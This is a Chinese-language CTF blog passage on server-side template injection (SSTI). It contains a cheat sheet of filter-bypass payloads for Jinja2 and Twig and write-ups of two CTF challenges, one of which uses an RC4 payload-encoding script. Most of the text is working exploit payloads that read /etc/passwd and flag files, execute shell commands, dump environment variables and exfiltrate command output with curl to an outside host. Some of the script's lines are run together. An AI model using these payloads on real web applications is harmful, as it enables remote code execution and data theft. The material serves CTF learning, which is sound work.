Laravel
Blade是Laravel提供的一个既简单又强大的模板引擎
和其他流行的PHP模板引擎不一样,Blade并不限制你在视图view中使用原生的PHP代码
所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来,除非你的的模板文件修改,否则不会重新编译
这里也是简单提及 没有找到更多的关于blade模板ssti注入的相关知识 这里推荐一个大佬的博客 写的非常详细
laravel Blade 模板引擎
至此 ssti注入漏洞都简略的介绍完了
小结一下 在ssti注入中 最经常遇到的就是python 以及 php的模板注入
php的Twig模板以及smarty模板 python中的jinja2 tornado模版在ctf考题中会经常出现 但是在实际找漏洞的时候不太好找 也可以用工具来测试 tplmap 类似于sqlmap的存在 还有一些不通的点涉及到很多方面的知识了 需要深入一点的学习python语言 php语言 弄清楚各种函数会更好理解一点
ssti注入还涉及到非常多的payload
总结
1)过滤[]和.
只过滤[]
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
若.也被过滤,使用原生JinJa2函数|attr()
将request.__class__改成request|attr("__class__")
(2)过滤_
利用request.args属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args改为request.values则利用post的方式进行传参
(3)关键字过滤
base64编码绕过
__getattribute__使用实例访问属性时,调用该方法
例如被过滤掉__class__关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}
(4)过滤{{
使用{% if ... %}1{% endif %},例如
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / | grep flag`;') %}1{% endif %}
如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}
(5)引号内十六进制绕过
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
_是\x5f,.是\x2E
(6)" ' chr等被过滤,无法引入字符串
直接拼接键名
dict(buil=aa,tins=dd)|join()
利用string、pop、list、slice、first等过滤器从已有变量里面直接找
(app.__doc__|list()).pop(102)|string()
构造出%和c后,用格式化字符串代替chr
{%set udl=dict(a=pc,c=c).values()|join %} # uld=%c
{%set i1=dict(a=i1,c=udl%(99)).values()|join %}
(7)+等被过滤,无法拼接字符串
~
在jinja中可以拼接字符串
格式化字符串
同上
python2
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[80]["load\x5Fmodule"]("os")["system"]("ls")}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
python3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
不用找类
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
以上思路都是找os,也可以找__builtins__.eval
twig
文件读取
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
rce
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['cat /etc/passwd']|filter('system')}}
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
还有一些payload不具体的描述了 可以去之前的博客里面找
[CISCN2019 华东南赛区]Double Secret
打开题目
说 欢迎来找秘密 用{{7*7}}看一看
发现没有回显 先用dirsearch扫描一下 扫到了robots.txt
打开看看发现依旧没有什么有价值的信息
还扫描到了/console
打开发现 是一个被锁定的控制台 和这题没什么关系
题目提示 secret
直接在url输入一下看看 发现有页面
他说告诉他你secret 他会告诉你其他人看不见的 简单来说就是传参secret然后看回显
传参secret=199999 发现页面报错
在这里找到了源码
用tplmap无法注入 解析一下源码
当你传入的secret值是错的 他会回显
Tell me your secret.I will encrypt it so others can\'t see
知道是rc4加密并给出了解密密钥HereIsTreasure,a=render_template_string(safe(deS)),这一句,将解密后的明文渲染成字符串,回显出来。这里有一个safe函数,可能是用来过滤某些关键字对的,无从得知。
这里附上大师的脚本
import base64
from urllib import parsedef rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return cryptdef rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))key = "HereIsTreasure" #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
查找根目录 payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}
加密得到
.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C3%A5nw%C2%A7%C2%8E%C2%BC%C2%BE%C3%BBEy%C2%A9%C2%BBj%C2%83.%5B%18%C3%94%C2%89Y%08%1Aw%22%C3%A3%C3%97%C2%997v%C2%A07%0A%1B%C3%82_%C2%AFN%C2%BF%C2%A3%C2%B8%14%C3%81%C2%AAXy%C3%A5%C3%8D%3B%C2%BCS%0Anq%C2%9D%C2%80%C2%B5%C3%AF%C2%B0%C3%862%5E%22zI%C3%9C%09%C3%85%7BW%C3%A3%C2%99%14gk%C3%A4%C2%BBk%C2%BE%C3%83%C2%B1%0D%03%C3%99%18qu%C2%B4%C2%BCR%C2%81%C2%B1%C2%8E4%C2%A7%C3%A0%C3%8E
找到了flag.txt
访问一下 读取文件 payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
加密得到
.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%93%08n0%C3%AE%C3%BDb%C2%B1%C3%80%C3%B6%1F%5B%C2%88B%23%7E%C3%A6%C2%BC%5D%C2%81%C3%BF%C3%88d%C2%AE%C2%B8%C3%8E2%C2%92%20C%C2%B7%C2%B7%C2%95%C3%95Wj%C3%93%C2%B5%C3%AA_%C2%A1%2B%C2%87%C2%B5l%08%27%3F%C3%96
得到flag
buuctf [flask]ssti
题目已经告诉是ssti注入了 看看是python的哪个模板注入
点击链接 发现了参考文章
发现要传参name才可以 传完之后发现回显是一串7 确定为jinja2模板
第一种方法
我这里推荐用tplmap一把梭 要比自己输入payload方便的多
找到flag
另一种方法
获取eval函数并执行任意python代码
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
打印环境变量
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
得到flag
__dict__ :保存类实例或对象实例的属性变量键值对字典
__class__ :返回一个实例所属的类
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __bases__ :以元组形式返回一个类直接所继承的类(可以理解为直接父类)
__base__ :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组 // __base__和__mro__都是用来寻找基类的
__subclasses__ :以列表返回类的子类
__init__ :类的初始化方法
__globals__ :对包含函数全局变量的字典的引用
__builtin__&&__builtins__ :python中可以直接运行一些函数,例如int(),list()等等。 这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__) 在py3中__builtin__被换成了builtin
1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。
2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
这里附上python中的一些函数 在之前的python的ssti文章中也提到过
ssti就告一段落 下面会学习xss注入